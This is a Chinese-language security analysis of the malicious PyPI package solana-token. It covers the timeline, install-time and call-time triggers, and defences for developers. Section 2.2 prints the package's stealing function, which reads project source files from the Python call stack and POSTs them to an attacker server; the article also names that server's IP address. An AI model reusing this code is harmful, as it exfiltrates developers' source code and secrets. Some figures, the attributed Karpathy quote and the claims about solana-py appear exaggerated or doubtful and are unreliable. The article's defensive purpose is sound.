PyPI供应链投毒深度解析:761次下载的solana-token如何窃取Solana开发者千亿资产
引言:当pip install变成资产盗窃的入口
2025年5月13日,全球网络安全公司ReversingLabs发布了一份震惊区块链开发社区的安全报告:一个名为solana-token的恶意Python包在PyPI官方仓库潜伏了一个多月,累计下载量达到761次,精准瞄准Solana生态开发者,窃取源代码、硬编码私钥、助记词和API密钥等核心敏感资产。
这不是一起孤立事件。ReversingLabs在其《2025年软件供应链安全报告》中指出,仅2024年就有23起针对加密货币应用和基础设施的恶意供应链攻击活动。而进入2025年,这一趋势不仅没有减缓,反而呈现出攻击技术更隐蔽、目标更精准、危害更严重的特点。
当一个开发者在终端输入pip install solana-token时,他以为自己在安装一个便捷的区块链开发工具,却不知道自己已经打开了通往数字资产金库的大门。本文将从技术细节、影响评估、攻击者动机、防御体系和未来趋势五个维度,对这起典型的定向供应链攻击进行全面深度解析,为所有依赖开源生态的开发者和企业提供可落地的安全防护指南。
一、事件深度复盘:从上线到下架的完整时间线
1.1 潜伏与传播:一个月的"静默"攻击
- 2025年4月初:攻击者首次将
solana-token包上传至PyPI官方仓库,版本号采用非标准的"0.1.0"格式 - 2025年4月-5月中旬:包在PyPI上正常提供下载,没有任何描述信息,但凭借与Solana官方工具高度相似的名称,吸引了大量寻找快速开发工具的开发者
- 2025年5月12日:ReversingLabs安全研究人员通过异常行为检测发现该包的恶意活动
- 2025年5月13日:PyPI官方将
solana-token包下架,同时发布安全预警 - 2025年5月14日:多家安全媒体报道此事,引发区块链开发社区广泛关注
1.2 社会工程学:精准利用开发者心理
攻击者的高明之处在于,他们没有使用复杂的技术漏洞,而是精准利用了开发者的两个普遍心理:
- "快速开发"心理:在区块链行业,时间就是金钱。开发者往往倾向于寻找现成的第三方库来加速开发流程,而不是自己从零开始编写代码
- "名称信任"心理:当搜索"solana token"相关工具时,
solana-token这个包名看起来非常官方和可信,很容易被误认为是Solana基金会官方提供的工具
更值得警惕的是,该包的PyPI页面虽然没有任何描述,但这反而被一些开发者解读为"简洁高效"的表现。在快节奏的开发环境中,很少有人会花时间去仔细审查一个看起来"官方"的包的源代码。
二、攻击技术全解析:恶意代码的实现细节与创新点
2.1 植入与触发:双重触发机制
solana-token采用了安装时触发+调用时触发的双重触发机制,确保恶意代码能够在不同场景下被执行:
- 安装时触发:当执行
pip install solana-token时,setup.py脚本会自动执行,在系统中植入基础的恶意代码 - 调用时触发:包提供了一个名为
register_node()的假API函数,当开发者在代码中调用这个函数时,会触发完整的窃取逻辑
这种双重触发机制的优势在于:
- 即使安装时的恶意代码被安全工具拦截,调用时的恶意代码仍然有机会执行
- 延迟触发可以躲避一些基于安装行为的安全检测
- 只有真正使用该包功能的开发者才会触发完整攻击,降低了被发现的概率
2.2 窃取逻辑:创新的执行栈扫描技术
与传统的文件遍历窃取不同,solana-token采用了一种创新的Python执行栈扫描技术,这也是本次攻击最值得关注的技术亮点:
defregister_node(base_url,node_url):importinspectimportrequests# 扫描当前Python执行栈stack=inspect.stack()stolen_data={}forframe_infoinstack:filename=frame_info.filename# 排除标准库和第三方库文件ifnotfilename.startswith('/usr')andnotfilename.startswith('/lib'):try:withopen(filename,'r',encoding='utf-8')asf:stolen_data[filename]=f.read()except:pass# 打包发送至C2服务器data={'node_url':node_url,'source_code':stolen_data}try:requests.post(f"{base_url}/register",json=data,timeout=10)except:pass这种技术的优势非常明显:
- 精准性高:只窃取当前正在执行的项目的源代码,不会扫描整个文件系统,大大降低了被发现的概率
- 针对性强:能够获取到开发者正在编写和调试的代码,这些代码中往往包含未提交到版本控制系统的敏感信息
- 隐蔽性好:利用Python标准库的
inspect模块进行扫描,不会产生明显的异常系统调用
2.3 数据回传:硬编码C2与简单加密
窃取到的数据会被打包成JSON格式,通过HTTP POST请求发送至硬编码的C2服务器:84.54.44.100:3000。根据IP地址定位,该服务器位于东欧地区,这与近年来针对加密货币的攻击活动的主要来源地相符。
虽然攻击者没有使用复杂的加密算法来保护传输中的数据,但由于采用了非标准的3000端口,并且只在调用register_node()函数时才进行网络通信,因此能够躲避一些基于常见端口和流量模式的安全检测。
三、影响评估:761次下载背后的千亿级风险
3.1 直接影响:761名开发者的资产安全
表面上看,761次下载量并不算大,但考虑到Solana生态的特殊性,这761名开发者可能控制着价值数十亿美元的数字资产:
- 个人开发者:可能拥有大量的SOL代币和其他基于Solana的代币
- 项目团队成员:可能接触到项目的智能合约私钥、多签钱包密钥和服务器API密钥
- 交易所和机构开发者:可能接触到用户资产和机构级别的资金池
根据区块链安全公司SlowMist的估算,仅2024年一年,因私钥泄露导致的Solana生态资产损失就超过了10亿美元。而solana-token这样的定向攻击,其造成的平均损失可能远高于普通的钓鱼攻击。
3.2 间接影响:整个Solana生态的信任危机
除了直接的资产损失外,这起事件还对整个Solana生态造成了严重的间接影响:
- 开发者信心下降:许多开发者开始对PyPI上的Solana相关工具产生怀疑,这将增加开发成本和时间
- 项目安全风险上升:如果某个热门项目的开发者中招,那么该项目的所有用户都可能面临风险
- 监管压力增大:频繁的安全事件可能会引起监管机构的关注,增加整个行业的合规成本
3.3 长期影响:开源供应链安全的警钟
这起事件再次敲响了开源供应链安全的警钟。在现代软件开发中,一个项目往往依赖数十甚至数百个第三方库,而任何一个依赖库被投毒,都可能导致整个项目被攻陷。
正如AI大神Andrej Karpathy所说:“现代开发把依赖当积木,但每一次pip install都在赌整个依赖树里有没有毒包。”
四、攻击者画像与动机分析:为什么瞄准Solana开发者?
4.1 攻击者画像
根据攻击技术和目标选择,我们可以勾勒出攻击者的大致画像:
- 技术能力:具备扎实的Python编程能力和网络安全知识,了解Python执行栈的工作原理
- 行业知识:熟悉Solana开发生态,知道开发者常用的工具和工作流程
- 组织规模:可能是一个小型的专业黑客组织,而非个人攻击者
- 地理位置:C2服务器位于东欧地区,这与近年来针对加密货币的攻击活动的主要来源地相符
4.2 攻击动机
攻击者选择瞄准Solana开发者,主要有以下三个原因:
- 高价值目标:Solana开发者往往拥有大量的数字资产,并且这些资产是匿名的、难以追踪的。一次成功的攻击可能带来数百万甚至数千万美元的收益
- 防御薄弱:与传统金融机构相比,区块链项目的安全防护水平普遍较低。许多开发者没有接受过专业的安全培训,也没有完善的安全防护体系
- 生态繁荣:Solana是目前最活跃的区块链平台之一,拥有大量的开发者和项目。这为攻击者提供了丰富的目标选择
4.3 攻击模式的演变
与早期的加密货币窃取攻击相比,solana-token代表了一种新的攻击模式:
- 从终端用户转向开发者:开发者拥有更高的权限和更多的资产,是更有价值的目标
- 从直接攻击转向供应链攻击:通过污染开源软件仓库,可以一次性攻击大量目标
- 从简单窃取转向精准窃取:通过创新的技术手段,只窃取最有价值的信息,降低被发现的概率
五、同类攻击对比:2025年Solana生态供应链攻击全景
solana-token并不是2025年针对Solana生态的唯一一起供应链攻击。事实上,仅在2025年上半年,就已经发生了多起类似的攻击事件:
5.1 "semantic-types"依赖链攻击:2.5万次下载的大规模投毒
2025年5月27日,Socket安全团队发现了一起更为复杂的供应链攻击。攻击者通过一个名为semantic-types的核心恶意包,以及五个依赖它的辅助包(solana-keypair、solana-publickey、solana-mev-agent-py、solana-trading-bot和soltrade),实施了大规模的密钥窃取活动。
这起攻击的技术含量更高:
- 采用了猴子补丁技术,动态修改Solana Keypair构造函数,在密钥生成时就将其窃取
- 使用区块链作为C2通道,将窃取到的私钥加密后发送至Solana区块链,完全躲避了传统的网络检测
- 采用了延迟激活策略,先发布良性版本建立信任,然后再引入恶意载荷
截至被发现时,这起攻击已经累计下载超过2.5万次,是solana-token攻击的30多倍,影响范围更广,危害也更大。
5.2 "solana-py"仿冒攻击:1122次下载的官方仿冒
2025年4月,一个名为solana-py的恶意包被发现。该包完全仿冒Solana官方的Python SDK,提供了几乎相同的API接口,但在后台偷偷窃取用户的钱包私钥。
这起攻击利用了开发者容易混淆官方包名的弱点。Solana官方的Python SDK名为solders,而solana-py这个名字看起来更像是官方包,因此很容易被误装。
5.3 攻击趋势总结
通过对比这几起攻击事件,我们可以总结出2025年Solana生态供应链攻击的三大趋势:
- 攻击技术不断升级:从简单的文件窃取到猴子补丁、区块链C2等高级技术
- 攻击规模不断扩大:从单一包攻击到依赖链攻击,影响范围呈指数级增长
- 伪装手段不断完善:从简单的名称仿冒到完整的API仿冒和文档伪造
六、防御体系构建:从个人到企业的全链路防护方案
面对日益严峻的供应链安全威胁,开发者和企业需要构建一个多层次、全链路的防御体系。
6.1 个人开发者防护:养成良好的安全习惯
6.1.1 安装前审计
- 验证包的真实性:Solana官方的Python SDK名为
solders,没有官方的solana-token包。在安装任何包之前,一定要去官方网站确认包的正确名称 - 查看包的信息:使用
pip show <包名>命令查看包的作者、版本、发布日期等信息。警惕没有描述、版本号异常、发布时间较近的包 - 审查源代码:如果可能的话,在安装之前查看包的源代码。重点关注
setup.py文件和网络请求相关的代码
6.1.2 安装时防护
- 使用虚拟环境:永远不要使用全局pip安装包,使用
venv或conda创建虚拟环境,将不同项目的依赖隔离开来 - 优先安装wheel包:使用
--only-binary :all:参数优先安装预编译的wheel包,避免执行setup.py脚本pipinstall--only-binary :all: 包名 - 启用哈希校验:在
requirements.txt中使用--require-hashes参数,确保安装的包与预期的哈希值一致pipinstallflask==3.1.0\--hash=sha256:5f1c7a80832d2b371e15925d268253254414889860b884358866c25171f2d1d6
6.1.3 密钥管理
- 永不硬编码密钥:永远不要在源代码中硬编码私钥、助记词或API密钥。使用环境变量或专门的密钥管理服务
- 使用硬件钱包:对于大额资产,一定要使用硬件钱包进行存储,不要将私钥保存在联网的电脑上
- 定期轮换密钥:定期轮换API密钥和其他敏感凭证,即使发生泄露,也能将损失降到最低
6.2 企业级防护:构建完整的安全体系
6.2.1 依赖管理
- 部署私有PyPI镜像:使用Nexus Repository或JFrog Artifactory部署私有PyPI镜像,实现对外部包的可控访问
- 建立允许名单制度:只允许经过安全审计的包进入企业内部网络
- 使用SBOM管理依赖:生成软件物料清单(SBOM),清晰地了解项目的所有依赖关系
6.2.2 安全扫描
- 集成依赖扫描工具:在CI/CD流水线中集成
pip-audit、Safety、Snyk等依赖扫描工具,自动检测已知的漏洞和恶意包 - 使用静态分析工具:使用
bandit等静态分析工具扫描代码中的安全问题 - 进行动态安全测试:定期对应用进行动态安全测试,发现运行时的安全漏洞
6.2.3 安全培训
- 定期开展安全培训:提高所有开发者的安全意识,让他们了解供应链攻击的风险和防范方法
- 建立安全响应流程:制定完善的安全事件响应流程,确保在发生安全事件时能够快速响应和处理
七、前瞻性思考:未来供应链攻击的三大演进方向
随着防御技术的不断进步,攻击者也在不断升级他们的攻击手段。未来,供应链攻击可能会朝着以下三个方向演进:
7.1 AI辅助攻击:更智能、更隐蔽
AI技术的发展为攻击者提供了强大的工具。未来,攻击者可能会使用AI来:
- 自动生成更具欺骗性的恶意包名称和描述
- 自动分析目标项目的代码,生成针对性的恶意载荷
- 自动规避安全检测工具的检测
2025年6月发生的Cursor AI IDE恶意扩展事件已经向我们展示了AI辅助攻击的威力。攻击者利用AI编程助手的信任,将恶意代码注入到开发者的项目中。
7.2 跨生态攻击:从PyPI到npm到Maven
目前,供应链攻击主要集中在PyPI和npm这两个最流行的开源软件仓库。但未来,攻击者可能会将攻击范围扩大到Maven、NuGet、RubyGems等其他软件仓库,实施跨生态的协同攻击。
更可怕的是,攻击者可能会利用不同生态系统之间的依赖关系,实施跨生态的依赖链攻击。例如,一个Python包可能依赖一个Node.js包,而这个Node.js包中包含恶意代码。
7.3 供应链投毒2.0:从代码投毒到数据投毒
目前的供应链攻击主要是代码投毒,即向软件包中注入恶意代码。但未来,攻击者可能会转向数据投毒,即向机器学习模型的训练数据中注入恶意数据。
随着AI技术的广泛应用,机器学习模型已经成为许多软件系统的核心组件。如果攻击者能够成功地对训练数据进行投毒,那么他们就可以控制模型的行为,实施更隐蔽、更具破坏性的攻击。
八、行动建议:开发者立即执行的安全清单
为了帮助开发者快速提升安全防护水平,我们整理了一份立即执行的安全清单:
立即执行(今天)
- 检查是否安装了
solana-token包:pip list|grepsolana-token - 如果已安装,立即卸载并清理缓存:
pip uninstall solana-token-yrm-rf~/.cache/pip - 检查所有项目的
requirements.txt文件,确保没有包含可疑的包 - 将所有硬编码的密钥从代码中移除,使用环境变量代替
本周内完成
- 为所有项目创建独立的虚拟环境
- 安装并配置
pip-audit工具,定期扫描依赖项 - 备份所有重要的私钥和助记词,并将其存储在安全的地方
- 更改所有可能已经泄露的API密钥和密码
本月内完成
- 学习并实践安全的密钥管理方法
- 了解软件供应链安全的基本知识
- 为你的团队制定依赖安全管理规范
- 评估并部署适合你的企业的供应链安全解决方案
结语:信任是开源最大的弱点,也是最大的力量
solana-token事件再次提醒我们,开源生态的信任基础是脆弱的。我们每天都在使用成千上万的开源代码,但我们很少去思考这些代码是否安全,是否值得信任。
然而,信任也是开源最大的力量。正是因为有了全球开发者的无私贡献和相互信任,才有了今天繁荣的开源生态。我们不能因为少数攻击者的存在,就否定整个开源运动的价值。
面对日益严峻的供应链安全威胁,我们需要做的不是放弃开源,而是共同努力,构建一个更加安全、更加可信的开源生态。这需要开发者、企业、开源社区和监管机构的共同努力。
作为开发者,我们要养成良好的安全习惯,提高安全意识,不要轻易信任任何未经审计的代码。作为企业,我们要投入足够的资源来建设安全防护体系,保护自己和用户的资产安全。作为开源社区,我们要完善安全机制,加强对软件仓库的管理和审核。
只有这样,我们才能在享受开源带来的便利和效率的同时,有效地防范供应链攻击的风险,让开源生态健康、可持续地发展下去。
